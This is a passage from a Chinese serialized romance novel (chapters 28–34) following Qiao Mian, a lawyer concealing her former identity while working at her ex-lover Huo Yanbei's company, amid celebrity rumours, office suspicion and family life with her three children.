“宴北,我不懂生意场上的事情,阿沉又不务正业,股权和公司到他手里,早晚会被败光,只有你帮我打理公司,我才放心。” 霍宴北将烟捻灭,转过身,看着她,“你放心,百荣还给你们以后,我也不会脱手不管,直至你或是阿沉,有实力真正接管百荣那天。” 宋蔓知道,一旦收回股权,她和霍宴北之间就彻底没希望了…… 即便他念着情分,继续帮她守住公司,但是,帮,也是有限度的。 重点是,一旦和他解绑利益关系,她连现在这个霍太太的虚假名份也没有了。 不,她不甘心! 她等了他六年,倾尽宋家所有,就是为了把这场婚姻做实。 当上名副其实的霍太太! 她了解霍宴北,既然决定把股权和公司还给她,一定是经过深思熟虑的。 她硬着来,反而会把他推得更远。 所以,宋蔓退了一步,“宴北,既然你决定了,我同意。但是,我实在不懂经营公司,这样吧,你让我进霍氏工作,跟着你学习经验管理,好吗?” 她以退为进。 只要进了霍氏,不仅能清扫掉那些对霍宴北有非分之想的女人,还能时时刻刻跟霍宴北在一起培养感情。 有大把的机会拿下他。 霍宴北对她的提议没有异议,直接问:“你想要什么职位?” “太高的职位,我就是坐上也不服众,秘书吧,以后你谈生意或是饭局,带上我,也有名头。” “好。” 他答应了。 宋蔓按耐住内心的喜悦,挽住他的胳膊:“月底,是咱们京大百年校庆活动,校长邀请我去学校巡演,届时,我会宣布退圈,宴北,这将是我最后一次公演,你带着念念一起去看我演出,可以吗?” 霍宴北点头,“好。” …… 翌日。 乔眠照常上班。 好不容易挤进电梯,就听到不少人在谈论八卦。 “你们看了昨天半夜爆的热搜没有?霍总和宋蔓隐婚生子实锤了耶!” “啊?真的假的?” “热搜现在还挂着呐!” 职员们听后,纷纷掏出手机,刷热搜。 包括乔眠。 她刚打开手机,一则热搜弹了出来。 点开一看。 是一段十几秒的机场路透视频。 宋蔓怀里抱着一个小女孩,后面跟着几个推着行李车的工作人员。 虽然宋蔓戴着墨镜、口罩,但是,她无名指戴着的那枚鸽血红宝石戒指,出镜率太高了。 以至于,媒体记者一下子就认出了她。 还被拍了大特写。 这段视频应该是昨天被拍的。 因为,宋蔓昨天来公司,穿得就是机场那一身。 不过,小女孩的脸被宋蔓按在怀里,像是有提前察觉有人偷拍,有意在躲避镜头。 这则新闻浏览量和话题热度已经超千万。 评论区都在说孩子的爸爸,肯定就是宋蔓的竹马恋人霍少。 就连霍宴北和宋蔓上学时的一些同框照片也被扒了出来。 网友都在为这对恋人的圆满结局发声祝福。 “哇啊,霍总真的跟宋蔓隐婚生子了耶!】 【好般配啊!!】 议论声还在继续。 乔眠低着头,攥着手机的手指微微发紧。 正在这时,站在乔眠前面的一个女人忽然出声训斥,“没有公开证实的新闻也能信?背后蛐蛐霍总,你们是一个个都不想干了?” 众人扭头,看清楚说话的人是谁时,纷纷闭嘴。 第29章 霍宴北非要吃她做的饭 叮一声。 电梯在二十层停下。 温秋撞开两个同事,踩着十厘米的高跟鞋走了。 电梯门再次合上。 八卦声再次响起。 “温秋这是破防了。” “就是,她一个普通小秘书,一天到晚往总裁办公室跑,不就是为了勾引霍总上位吗?” “就她?” “她可不一般,听说,她上大学都是霍总资助的,毕业后还被霍总亲点到了公司。” “真是走了狗屎运,你看她哪儿好看了?除了皮肤白点,胖的跟猪一样!” “嘘!小声点,听说,霍总偏爱微胖美女,温秋为了投其所好,还在一直增肥呢。” “我靠,那我这个月就开始增肥。” “清醒点,人家霍总结婚了!胖成猪也没人瞅你!” 不一会儿,这些人出了电梯,只剩下乔眠这个吃瓜群众。 转头,望着电梯镜子里的自己。 伸手,摸了摸自己那张巴掌大的小脸,嘲讽地扯了扯嘴角。 没有哪个男人会真正喜欢一个大胖子…… 当年,若不是她在霍宴北失明那段日子,照顾过他,她一个一百六十斤的胖子,怎么会被京大的高岭之花看上? 在一起时,他宠过她,衣食住行都给她最好的。 却从未公开承认过,她是他的女朋友。 每次在外面,介绍她时,也只说她是他妹妹。 知道两人关系的,只有他的几个发小。 他对她的感情,只有感激和怜悯。 无关爱情。 这点,当年,她心里就很明白。 只是,那时候,她太爱他了。 舍不得离开他。 如果当年没有听到他和朋友说的那些肺腑之言,或许,她真的会答应他,一辈子留在他身边…… 哪怕无名无分。 现在想想,当时的自己,很卑微,也够下贱。 毕竟,那时候,霍宴北已经有未婚妻。 她却还是当了他见不得光的地下情人…… 恍惚间,回到工位上。 孟白和何眉已经来了。 都在刷热搜,八卦。 乔眠看了一眼对面办公室紧闭的门。 又匆匆垂下眼眸,强迫自己静下心来工作。 …… 总裁办公室。 陈珂战战兢兢的站在一旁,“霍总,关于您和宋蔓小姐的新闻,我已经让公关部紧急处理了,只不过,是昨夜突然曝到网上的,所以,处理需要一段时间,这些记者肯定有人指使,您放心,我一定会尽快查出来,是谁在幕后推波助澜。” 男人修长的手指滑动手机,翻看完新闻上的照片和视频后,将手机反扣在桌上,“不必理会。” “啊?” 陈珂有些怔愣。 这些年,但凡新闻上出现霍总隐婚生子的热搜词条,都会被撤下。 现在‘不必理会’,的意思是,霍总这是要和宋蔓小姐官宣了? 两人虽然没有领证,但是,宋蔓在霍老爷子那里已经是承认的霍太太。 私人聚会或是饭局,霍总都会带上宋蔓。 其实,有没有那张证,圈内人早已默契的尊宋蔓为霍太太了…… …… 中午。 何眉和孟白出去吃饭了。 乔眠带了便当,没有去。 她刚把饭盒拿出来,周津南从里间办公区走了出来。 手里拿着一个饭盒,应该是要去茶水间用餐的。 因为饭盒是粉色的,不太符合一个男人的风格,所以,她不免多看了一眼。 饭盒有些旧,觉得眼熟。 不过,她没多想。 乔眠起身,打了一声招呼,“周总监。” 周津南望了一眼她办公桌上放着一个同样粉色的饭盒,问了一句,“做的什么好吃的?” 说这句话时,走到了她办公桌前。 乔眠只好打开饭盒,“只是家常小菜而已。” 周津南看着饭盒里摆放整齐又好看的小炒时,唇角牵起一抹温润的笑意,“乔律师厨艺不错。” 乔眠莞尔,“谢谢。” 周津南掂了下手里的饭盒,“今天冬至,我妈亲手包的饺子,乔律师,不介意的话,可以尝尝。” “……” 他的提议突兀,但是他脸上的真诚和亲和力,又让人不好意思拒绝。 “好……” 一个字刚溢出口,一道男人清冷低沉的嗓音从身后传来。 “乔律师,来一趟办公室。” 是霍宴北的声音。 乔眠心头猛地一跳。 转过身时,看到霍宴北玉树般挺拔,站在法务部门口。 单手抄兜,脸上表情淡淡的,好像就是路过的一个闲人。 “霍总。” 周津南打了一声招呼。 “嗯。” 霍宴北点了下头。 周津南转头,看了一眼乔眠,“乔律师,下次再尝尝我母亲的厨艺。” 乔眠表情发怔,下意识应了一声,“哦好……” 周津南说完,朝霍宴北颔首后,抬步离开了。 乔眠回过神来,霍宴北已经走在她前面,望了一眼她手里还端着的饭盒里,散发着香味的小炒时,眸底闪过一抹微光,“乔律师的厨艺看着不错,可以尝下吗?” “……” 乔眠愣了一下。 这个提议若是同事之间很正常,但是,从霍宴北嘴里说出来,就很令人咋舌。 他有严重洁癖。 平时吃饭的碗筷,不是一次性的不碰。 何况,尝别人碗里的饭菜。 他不嫌弃吗? 乔眠抠紧饭盒,委婉拒绝:“未必合霍总的口味。” 男人轻扯嘴角,“不尝下怎么知道?” 这话有点强势,再拒绝,就显得她很不懂事似的。 这要是搁别的同事,早就欣喜的双手奉上了。 为了不显得自己很特例,乔眠不情愿的把饭盒递了过去。 霍宴北接过后,淡淡丢下两个字,“过来。” 乔眠应了一声。 从抽屉里寻了一双一次性筷子,又拿起办公桌上的一个袋子,抬步走出法务部。 只是走进总裁办公室后,就愣住了。 她虽然知道这间办公室,是六年前霍宴北刚进入霍氏集团,还未坐上总裁之位时,用的那间办公室。 但是,没想到,里面的陈设一点都没变。 此时,霍宴北正站在落地窗前打电话。 身姿修长挺拔,容颜冷峻,下颌线紧绷,不知道对方说了什么,他神情很严肃。 听到她进来的动静时,下巴朝她抬了一下。 示意她过去。 乔眠缓步走过去。 却在看到办公桌,以及旁边那张熟悉的真皮沙发时,小脸颊蓦地一红。 第30章 办公桌上曾经的疯狂 紧接着,脑海里涌出曾经被霍宴北困在这张沙发上、办公桌上,凶狠疯狂的画面…… 这么多年了,办公桌和沙发居然没换…… 尤其是看到他一边打电话,一只手轻轻刮过面前的落地窗时,乔眠的脸更是滚烫的厉害。 脑子里又跳出曾经被他抵在这面落地窗上—— 她满脸潮红,却偷偷凝视着玻璃上,照映出的身后男人。 那蛮缠着肌肉的俊美身材,汗湿的面庞,以及充满欲色的深眸…… 他在情事上,很狂放。 每次,皮带都将她双腕勒的生疼。 沉重的粗喘,耐不住时,嘴里溢出的那些荤话,仿佛犹在耳边。 乔眠脸颊烧红,身体莫名也有不自在。 “在想什么?” 一道低沉好听的男人嗓音于头顶传来。 乔眠的心猛地漏跳一拍。 竟是不知道他什么时候结束了通话,又是什么时候走到了她面前。 他离她很近,以至于乔眠慌乱的抬头时,额头不小心擦过他的下巴。 肌肤相亲一瞬,她吓得后退两步。 霍宴北凝视着女人那张红的不正常的小脸,“脸怎么这么红?发烧了?” 语落,手背在她额头上贴了一下。 乔眠躲闪不及,受惊的推开他的手。 霍宴北见她又一副急于回避他的模样,又气又好笑的扯了扯唇,“躲什么,我还能吃了你不成?” 说话间,晦暗的目光打量着女人。 她今天穿了一件米白色长款呢子外套。 里面是一件白色高领薄衫,衬得她肌肤格外粉白细腻。 深蓝色牛仔裤,将那双腿修饰的愈加纤细笔直。 一头微卷长发垂散于后腰,气质很是温婉。 那双眼睛,最是漂亮。 男人喉结滚动了一下,回到办公桌后面坐下。 打开饭盒后,乔眠及时送上一次性筷子。 她不想让他用她饭盒里夹着的筷子。 霍宴北接过后,夹起一块闷笋,吃完一口后,瞳孔微微一紧。 他放下筷子,抬眸,望了一眼乔眠,“厨艺不错。” 乔眠的心都提到了嗓子眼。 就怕他觉察出什么。 以前,他偏爱吃她做的饭。 她就经常泡在厨房里,变着花样给他做饭。 他对她做的菜的味道很熟悉。 虽然六年过去了,他已经淡忘了她做饭的味道,可是,她心里还是有些打鼓。 怕他起疑。 还好,他脸上表情淡淡,并没有说什么。 既然饭被他吃了,她要回来,也不能吃了,于是道,“既然霍总喜欢,这份便当就给您吃吧,我一会儿去食堂吃。” 霍宴北没客气,“多谢。” 语落,点了点桌面上那摞文件,“这个项目合同,审查完,下班之前交给我。” “是……” 乔眠伸手拿文件,想起什么时,把一直紧紧攥在手里的一个袋子放在办公桌上:“霍总,这是您之前借给我的外套,我已经洗干净了。” 霍宴北似乎一时没想起来,他的衣服什么时候跑到了她手里,打开袋子瞧了一眼后,蹙着眉,丢回袋子里:“洗的?” “是……” 说完,忙补了一句,“我手洗的,衣服没有洗坏。” 男人眉头蹙的更深:“我是说,我不喜欢这个香味。” 说到这里,他目光深邃的看着她,补了一句,“我喜欢衣服上原本的香。”乔眠的心微微一紧。 他说的是草木香。 以前,他的衣服都是她手洗后,经过熨烫,再用中草药香熏香后,他才肯穿。 没想到,他现在还这么挑剔…… “抱歉,我不清楚……” 男人将衣服丢回袋子里,“衣服拿走,处理了吧。” “是……” 乔眠把袋子提回来,一并拿起那摞文件,快步走出了办公室。 门合上一瞬。 霍宴北拿起筷子,夹起另一道鱼香茄子尝了一口后,呼吸瞬间一紧。 不知是不是他想多了,乔眠做的菜,很像阿妩的厨艺…… …… 乔眠回到工位上,着实舒了一口气。 她感觉,他在试探她…… 看来,他还没有打消对她身份的疑虑。 她没有去食堂,从包里拿了一个面包,啃完后,开始翻看合同。 孟白和何眉回来后,她把资料分发下去。 何眉翻了一下厚厚的资料,苦兮兮的啊了一声,“这么大的工作量,拿我们当牛使唤呢?” 孟白打趣:“赶紧干活吧,你以为过来是享清福的?” 何眉白他一眼,“既然孟律有使不完的牛劲,那你一个人都干了呗?” “行,那你工资得归我。” “切!” 两人斗嘴功夫,法务部其他同事陆陆续续都来了。 何眉是个社牛,初来乍到,笑脸盈盈的去了里间办公区,挨个打招呼。 最后,灰头土脸的出来了。 显然,热脸贴了冷屁股。 “一个个爱答不理的,牛气什么?” 何眉叉着腰,“我也是985毕业的好不好?” 孟白笑着摇了摇头,“人家霍氏的法务,哪一个不是名校毕业的法硕博?在人家眼里,我们就是打零工的包工头,合作结束就撤了,跟我们没有一点社交价值。” 虽然孟白说的是大实话,但是,何眉还是憋了一肚子火。 暗戳戳的冲着里间方向呸了一声。 乔眠无奈笑笑。 这时,手机QQ弹出一条信息。 是她在京大上大四时的班级群。 此时,班长岳景仪艾特所有人。 【月底,京大百年校庆典礼,大家一定要来啊!】 这条置顶的消息下面,同学们陆陆续续回复‘收到’。 其中有个同学发了一条消息。 【怎么一直没见秦妩冒泡啊?】 【同学,你这消息得多闭塞?她六年前就休学了。】 【瞎说,她是死了。】 【我靠,真假啊?怎么个情况啊?】 【你们不知道吗?六年前,她暗恋她哥哥,也就是咱们京大的学长霍宴北,她爱而不得,在霍宴北的订婚宴上,绞碎了人家未婚妻的礼服,被霍宴北打了一把掌后,心生报复,她自己放火自焚了。】 【哎呦,我也听说那件事了,死了好几个人呢!还有一个消防员也牺牲了呢。】 【窝草!她死了,拉这么多人陪葬,真恶毒!】 【喜欢自己的哥哥……嘤,想想都恶心!也不想想,霍大男神怎么会看上她一头猪?】 同学们讨论的热火朝天,班长岳景仪艾特所有人:【谁再子虚乌有的瞎传,就把他踢出去!】 发完这条消息,直接把群禁言了。 第31章 霍宴北认出她了 六年前,霍宴北和宋蔓订婚宴上发生的所有事情,刚被爆到网上,新闻热搜就被撤了个干净。 所以,许多人并不知道订婚宴当天具体发生了什么。 只知道,发生了火灾,死了人…… 这时,又有一条QQ消息弹出来。 岳景仪私聊她。 【秦妩,京大百年校庆活动,你来吗?】 乔眠没有回复。 岳景仪好像并不相信那些传闻。 每年,班级有聚会,岳景仪都会私戳留言。 乔眠每一次都没有回。 在她心里,无论是秦妩,还是霍妩,已经死在六年前那场大火中了。 京大百年校庆这么隆重的纪念日,都会请一些历届优秀的毕业生。 这些人,现在不是职场精英,就是各行业的顶尖翘楚。 还有跨行业经商的成功人士。 更有像霍宴北那样身居高位的京圈名贵,掌控地方经济命脉的财阀大佬,必定是京大校庆邀请名单里的座上宾。 而她,现在叫乔眠。 在京大学信网,根本查不到的一号无名小卒。 她去了,无疑是白天鹅中混进去了一只丑小鸭。 重点是,霍宴北会去…… …… 下午四点。 陈珂打电话,通知她去会议室开会。 她是团队组长,只通知了她。 乔眠没敢耽搁,跟孟白和何眉打了一声招呼,拿起整理好的合同文件,还有会议记录本,起身朝门口走去。 刚走出法务部,听到咔嚓一声。 对面总裁办公室的门开了。 乔眠抬眸望去。 正好看到霍宴北从办公室走出来。 他身姿挺拔,五官深邃立体,眼底没有一丝温度。 修长的大手拿着一份文件,气质清贵逼人。 看到她时,脚步顿了一下。 乔眠仓惶垂下眼眸,恭敬的打了一声招呼,“霍总……” 霍宴北态度淡淡的嗯了一声。 然后,看向陈珂,“我的手机忘在办公桌上了,帮我拿出来。” “您稍等。” 说完,陈珂折回了办公室。 “霍总,这是您要的合同。” 乔眠把文件递过去,说。 霍宴北没接,却把自己手里的一份文件,递给乔眠:“把你手里的合同,跟这份文件一起拿去会议室。” “是。” 乔眠一刻都不想跟他多待,快速接过文件后,径直穿过长廊和办公大厅,走到一处拐角,踏上一个旋转楼梯。 抵达32层后,直奔会议室。 直至在会议室门口停下,握住门把手时,猛然意识到什么。 一转头,就看到霍宴北阔步走了过来。 目光锋锐的像一把利剑,死死盯着她。 乔眠心脏骤然一紧。 这才意识到自己犯了一个很低级的错误。 他又在试探她。 她却上当了。 “这是乔律师来霍氏后,第一次参加会议,居然对环境这么熟悉,是以前来过吗?” 说这话时,男人已然走到她面前,目光讳莫如深的盯着她。 霍氏大大小小的会议室一共十几个。 刚才他一路跟着她走过来。 她连四下寻找张望的动作都没有。 直接精准无误的直奔三十二层会议室。 三十二层会议室,是高层才能参加的。 若非去过那间会议室的高层,她一个人新人不可能知道32楼有会议室。 之前让陈珂电话通知她时,刻意没有说明去哪间会议室! 她却熟悉的跟逛自己家后花园似的。 乔眠脑袋嗡嗡作响。 比初次与他重逢时,还要心乱如麻。 她不敢直视他的眼睛,垂着眉眼,一双小手紧紧绞在一起。 死死咬着唇瓣。 不知该如何圆通。 怪就怪她太熟悉顶层的环境。 以前,霍宴北初入霍氏,常常加班,忙到回不了家,就会打电话让她来公司陪他。 有时候周六周日吃住都在公司。 忙碌时,也会让她进出会议室,帮忙送一些文件资料。 所以,刚才被通知开会时,惯性思维的驱使,让她直奔三十二层的主会议室。 因为,其他会议室聚集在二十层以下,主要是中层管理用的。 只有高层开会在三十二层大会议室。 所以,此刻,没有一个正当合理的解释,根本糊弄不住霍宴北。 一时间,气愤僵住。 就连陈珂都一脸好奇的看着她。 “乔律师。” 就在她半天憋不出一个字时,霍宴北猛地攥起她的手腕,极具压迫感的黑眸中涌动着焦灼的情绪:“你以前来过这里?” “我……” 乔眠挣了一下,没挣开。 手腕疼的厉害,只得咬着牙隐忍,硬着头皮撒谎:“是同事告诉我会议室在这里的……” “哪个同事?” 男人不依不饶的质问。 “……” 就在乔眠认命的破罐子破摔时,一道温和低淳的嗓音传来,“乔律师,原来你找到了会议室,我还以为你会走错呢。” 听到这个声音,霍宴北和乔眠同时转头,看向走过来的周津南。 乔眠趁机,挣开霍宴北的禁锢,退开几步,朝周津南颔首,“谢谢周总监,刚才若不是您告诉我会议室在哪儿,霍氏这么大,我还真不一定找得到。” “你刚来霍氏,以后还有什么不清楚的,就发微信问我。” “……” 微信? 她连周津南的微信都没有…… 乔眠怔了一下。 没懂周津南的话中玄机,但还是配合的接话,“我知道了。” 看着两人一唱一合,还提到微信时,霍宴北冷峻的五官沉了沉。 她拒绝了他的好友申请,倒是同意了周总监…… 想到这里,男人推开会议室门,阔步走了进去。 乔眠神情复杂的看了一眼周津南。 她不清楚周津南只是单纯帮她解围,还是已经认出她了。 如果没有认出她,他又怎会平白无故的帮一个不熟悉的陌生人? 况且,她又不是霍氏的职员。 再者,极有可能得罪霍宴北。 “进去吧。” 周津南冲她弯了一下唇。 说完,擦过她的肩,进了会议室。 乔眠紧随其后,进去后,一时不知道该坐在哪儿。 好在周津南落座后,拉了一下身边的椅子。 示意她过去。 乔眠感激的颔首,走过去坐下。 “项目例会,别紧张。” 周津南歪头,在她耳边低声说了一句。 乔眠低着头,嗯了一声。 两人互动的小动作,落在坐在主位的霍宴北眸底,和谐又刺眼。 第32章 他真的认出她了 这时,众高层陆陆续续走进来落座。 霍宴北收回目光,陈珂将项目资料分发下去。 众高管对项目投资的风险以及融资问题,展开激烈的讨论。 乔眠握着钢笔,着重记录关于合同方面的有效信息。 会议持续了两个多小时,结束时,记事本上面已经写满密密麻麻的数据信息。 从会议室出来,周津南扫了一眼她手里的记事本,提了一句意见:“以后还是改用笔记本电脑记录,效率高,还省事。” 说罢,直接伸手拿过她手里的记事本,仔细翻了一下后,说,“虽然记录的只是项目的参考数据,但纸质记录,若是被有心人获取……不安全。” “谢谢周总监提醒,我会注意的。” 不知是不是她想多了,总觉得周津南这番话别有深意。 正走神时,周津南忽然将手机递过来。 屏幕上亮着一个二维码。 乔眠没反应来他是何意,表情愣愣的看着他。 男人线条漂亮的嘴唇弯起一抹弧度,“加下我,以后方便聊工作。” “哦……好。” 乔眠这才反应过来,他这是为刚才为她解围时,编的说辞圆谎呢。 乔眠掏出手机,打开微信,对准二维码扫了一下,添加好友。 周津南看到她的微信昵称时,勾了一下唇,“你不喜欢吃蛋糕吗?” 乔眠不假思索的点了点头。 他笑了一下,看着她的目光格外温润:“我之前给你提的那个高中同学,就特别喜欢吃甜食。” “……” 乔眠一时语塞。 周津南一二再的在她面前提高中时的她,分明是有意的。 莫非,他真的认出她了? 心不在焉的回到工位。 乔眠翻看着记事本上记录的数据,猛然间,领会到了什么。 刚才,周津南说纸质记录不安全,难道,是在提醒她的字迹? 对哦,如果霍宴北对她身份起疑,那么也会对她的字迹进行比对甄别。 好在,这些年,为了隐藏身份,她刻意练了字体。 但凡对外签字,签的都是瘦金体。 之前跟霍宴北签的那两份和解协议,签名也是瘦金体。 也只有私下记笔记时,才会习惯性的写原来的字迹。 就比如,记事本上的字,就是她原本的字迹…… 乔眠后怕的深吸了一口凉气。 将记事本上的数据抄录到电脑上后,把那几页纸撕碎,丢进了垃圾桶。 做完一切后,她看了一眼里间的总监办公室。 周津南帮她解围,又隐晦提醒她小心字迹,大概率,已经认出她了。 只是,他并未戳破这层窗户纸,她也不好主动去问。 万一是她意会错了,反倒很尴尬。 罢了。 既然周津南肯帮她,就不是敌对她的人。 …… 总裁办公室。 男人沉靠进办公桌后面的真皮座椅里,五官冷如冰块。 周身萦绕着的低气压,让整间办公室的温度都降了好几个度。 陈珂明白霍总心情不好,小心翼翼的将一杯新泡好的茶放在他面前:“霍总,乔律师刚来霍氏,之所以熟悉环境,是发微信上问了周总监,这一点,周总监也解释过了……” 提到微信,霍宴北脸色更沉了。 她刚到法务部,就跟上司这么熟。私下还聊微信? 他转头,看了一眼陈珂:“你有乔律师的微信吗?” “啊?” 陈珂怔了一下,琢磨出霍总的言外之意后,紧忙道:“您若是也想加乔律师微信的话,我帮您去要。” 男人扯了一下领带:“怎么?她是香饽饽不成?还得上赶子要?” 陈珂擦汗,“那我让她主动加您?” 霍宴北薄唇抿成一条直线,心里更不爽了。 他迟迟没有说话,在陈珂看来,无疑是默认。 回到秘书部后,陈珂给乔眠打了一通内线电话。 “乔律师,回头你加一下霍总的微信,偶尔聊聊工作。” “哦……” 乔眠鼻腔里发出一个单音节。 聊工作的话,见面交通就行了。 用得着微信吗? 她又不是他身边的秘书,需要实时跟他对接工作。 乔眠不想加。 反正陈珂又没说必须马上加,她自动忽略掉这件事情,继续开始忙工作。 …… 晚上六点。 乔眠准时下班。 刚走出法务部,就看到宋沉从走廊另一头走过来。 两人迎面撞上。 她连躲闪的机会都没有。 大概是之前,她在酒吧那晚浓妆艳抹,以至于宋沉第一眼没认出她。 意识到这点,她匆忙低头,和他擦肩而过时,宋沉忽然顿住脚步,扭头,望着那抹纤细的身影。 骤然间瞪大了眼睛。 刚才只是觉得迎面走过来的女孩很漂亮,所以多看了一眼。 但是,两人擦肩而过时,余光里瞥见她那张侧颜,只觉得有点眼熟。 这会儿,凝望着女孩的背影时—— 宋沉皱着眉,快步走上前,一把拧住乔眠的手腕,待近距离看清楚她那张脸时,愣了一下,有些不敢确认的问,“你是乔眠?” 乔眠见躲不过去了,只好硬着头皮承认,“我是乔眠。” 语落,用力一挣,摆脱他的禁锢。 转身就走时,却被宋沉伸手拦住,“死女人,真的是你!” 宋沉一瞬不瞬地盯着女人的脸,再次一怔。 他之所以惊讶,是因为,没想到乔眠居然长得……这么好看! 他少时就去国外读书,国内外美女阅览无数,可是,也不及眼前女人带给他的惊艳程度。 她不属于明艳型美女。 是那种极纯欲又干净的淡颜系美人。 眉眼间自带一股书卷气,气质柔婉。 娥眉轻蹙时,又给人一种清冷的距离感。 “麻烦让一下。” 乔眠表情淡淡的看着挡道的宋沉。 宋沉瞥了一眼她身后的法务部,才想起来,之前姐姐跟他提过,乔眠的律所和霍氏合作,现在驻点霍氏工作…… “乔律师,你害我蹲局子,我的酒吧现在还在停业整顿中,这笔账,是不是该算算了?” 宋沉跟她扯旧账。 乔眠不想跟一个动辄就动手打人的冲动之人硬碰硬,淡声道,“宋沉,这次,是你姐夫保你,若不然,你大概已经和你的朋友黎少、沈少进去作伴了,如果我是你,就会吸取教训,而不是让平息下来的事情再起风波。” 第33章 比他好一千倍一万倍 “不愧是律师,小嘴儿倒是能说会道。” 宋沉一把抓起她的胳膊,咬牙道:“别以为你是律师,小爷我就不敢动你。” 乔眠挣了下,没挣开,但是,情绪依旧稳定,“我现在在霍氏工作,你动我,损害的也是你姐夫的利益。” “拿我姐夫吓唬我?” 宋沉往她身后瞥了一眼。 看到法务部离总裁办公室这么近时,不禁想起那天在警局,姐夫抱着她跑出调解室的画面,眉头顿时一皱:“你三句不离我姐夫,你该不是盯上他,想勾引他上位吧?” 人在无语时,真的会笑。 乔眠懒得理他,挣扭着想要摆脱他的禁锢时,宋沉瞪着她又说道:“我警告你,我姐姐和我姐夫特别恩爱,女儿都六岁了,你想勾引他,休想!” 听到宋沉说,霍宴北的女儿六岁了时,乔眠的心猛地一刺,用尽全力甩开了他,“我有男朋友,他比你姐夫好一千倍一万倍!我脑袋坏了,才会勾引一个我根本不喜欢的人!” 刚说完,一转身,就看到霍宴北不知何时站在了她身后。 正皱着眉,神情沉沉的看着她。 周身气场凛冽,吓得旁边的陈珂脸色白了白。 替乔眠捏了一把冷汗。 乔律师刚才说的那话,句句透着嫌弃…… 霍总什么时候被人这么嫌弃过? 一时间,气氛陷入死寂般的尴尬。 乔眠静静地与他对视。 她紧紧咬着唇瓣,攥紧的手指,血色褪尽。 心里泛起的刺痛,让他有一种窒息的眩晕感。 她深深吸了一口气,想要开口说句什么时,霍宴北目不斜视,径直越过她,走到吓得一脸慌乱的宋沉面前,语气淡淡:“你怎么来了?” 宋沉见姐夫没恼他,松了一口气,余光里瞥了一眼弯腰捡包的乔眠时,声音放高了一些说,“姐夫,我姐做了一大桌子你爱吃的饭菜,正好我就在附近,让我跟你一起回家吃饭。” 霍宴北蹙了下眉,下意识转身,只捕捉到一抹没入走廊拐角的身影。 他顿了两秒,转过身,抬步走进了办公室。 在办公桌后面的真皮座椅上坐下,点了一支烟,咬进嘴里,深吸了一口后,冷声问:“找我到底什么事?” 见谎言被戳破,宋沉屁股一抬,侧坐在办公桌上,嘿嘿一笑,刚欲开口时,男人阴沉的目光扫过来,“下去。” “哦……” 宋沉立马滑下去,在椅子上规规矩矩坐下,“姐夫,我姐这两天非逼着我去百荣上班,可我根本就不喜欢那种坐办公室一坐一天的枯燥工作。” “我还是喜欢当酒吧主理人,我的目标是开一条街的酒吧,酷不酷?” 霍宴北皱眉:“说正事。” 宋沉咳嗽一声,难得认真起来说:“我那酒吧现在被勒令停业整顿,最快开业也得月底了,我想趁着这段时间,再开一家酒吧……” 说到最后,声音越来越小。 男人手指轻叩桌案,“说重点。” “我需要一笔启动资金。” 霍宴北修长的手指有大一搭没一搭的点着桌案,“百荣是你家公司,需要资金找财务,何需问我要?” 宋沉撇嘴,“姐夫,我虽然不管公司的事情,但是,我也知道,这些年真正实控百荣的是你,我要是能去财务那里捞到钱,也不会找你了。” 说到这里,他开始卖惨,“我姐还把我的卡限额了,我根本搞不到钱,姐夫,你就帮帮我呗。” 霍宴北若有所思的沉默了数秒后,开口道,“资金可以给你,但是,我要以个人名义投资,你只负责管理到经营,如果亏损,就滚回公司上班去。” 宋沉仔细一合计,打了一个响指,“可以!” 虽然姐夫投资入股,就是酒吧的大股东了,但是,他捞个二股东也不错。 这已经比预料中的结果好太多了。 来之前,他完全不抱希望的。 “姐夫,就这么定了,可不许反悔。” 霍宴北抬了下下巴:“回头找个时间,让陈珂带你签协议走流程。” “这么麻烦?” “你也可以不麻烦。” 宋沉呵呵一笑,“还是麻烦点好……” 说完,他招招手,转身就走时,霍宴北疏冷的声音从身后传来,“如果不想像你那俩朋友一样进去,以后别招惹乔律师。” 宋沉哼了一声,不情不愿的应了一声,“知道了……” 宋沉离开后,偌大的办公室静谧的掉针可闻。 霍宴北脸色沉了下来。 耳边回旋的是乔眠方才在走廊里说的那些话。 她男朋友比他好一千倍一万倍? 她很爱她男朋友? 不知为何,他心里就好像被什么尖锐的东西刺了一下似的。 半天没敢吱声的陈珂,还沉浸在宋沉要资金一事中。 “霍总,您不是一直想要宋沉好好去公司上班,学习管理,尽快接替百荣吗?怎么还同意他再开新的酒吧?” 霍宴北回过神来,按了按胀痛的太阳穴,“现在把他绑进公司里,他也待不住,无论是管理公司还是酒吧,都有相通之处,回头你选一个懂经营管理的人跟在他身边,多教教他。” 陈珂这才明白过来,“原来您是要用另一种方式培养他,让他学习管理呢。” 这时,手机响了。 看到手机屏幕上的号码时,霍宴北蹙了蹙眉,没接。 陈珂瞟到了,一脸忧愁,“霍总,这几天,老爷子一直催您回老宅那边,您一直没接,怕是再不回去的话,老爷子都要来公司了。” 霍宴北蹙着眉,看了一眼腕表后,起身道,“回。” …… 因为被宋沉纠缠,接孩子迟到半个多小时。 好在老师人很好,没有一句埋怨。 回来的路上,去菜市场买了肉和菜。 还有一条鱼。 “乔眠女士,你是过完今天,明天不打算过了吗?” 爬楼梯时,乔慕城接过她其中一只手里提着的袋子,撅着小嘴问。 被卸下一部分重量,乔眠抬手擦了擦鬓发沁出的汗意,歇了一口气后,轻柔扒拉了一下儿子的脑袋,“今天妈妈难得有时间,就想给你们做点好吃的。” 第34章 霍宴北被催生 “又乱花钱……” 乔慕城嘟哝了一声,动作笨拙的提着一袋子菜,走在她前面。 像个小大人似的,催促刚刚爬到五楼的弟弟妹妹:“快点啦!” 说完,噔噔噔的往上跑。 “慢点。” 乔眠轻声叮嘱。 大宝这孩子,虽然嘴上说话硬邦邦的,其实,心里柔软贴心的很。 帮她提袋子还这么傲娇。 到屋后,她去楼顶把被子收回来,将床重新铺好,去厨房做饭了。 她做了孩子们最爱吃的菜。 “妈妈,你做的饭菜好好吃哦。” “是嗷,妈妈这厨艺可以当厨师啦。” 乔慕心和乔慕野夸赞妈妈时,乔慕城冒出一句话:“厨艺好,算什么好事?辛苦受累的大怨种而已。” “啊?” 正在啃排骨的乔慕心,瞬间觉得嘴里的肉肉不香了。 她蹭到乔眠怀里,“妈妈,以后我们吃简单点就行,不需要做那么多菜的。” 乔慕野:“这么多菜,要多花掉好几天饭钱呢。” “傻宝们,妈妈真的不辛苦……” 乔眠欣慰孩子们的懂事,嫣然笑着。 眼角却泛着潮湿。 想到当年,她宁可自杀也要打掉孩子时的决然,心里很内疚。 若不是身体原因,做不了流产手术,她是不会留下孩子的…… 想到这里,她不禁想起今天宋沉说,霍晏北的孩子已经六岁了。 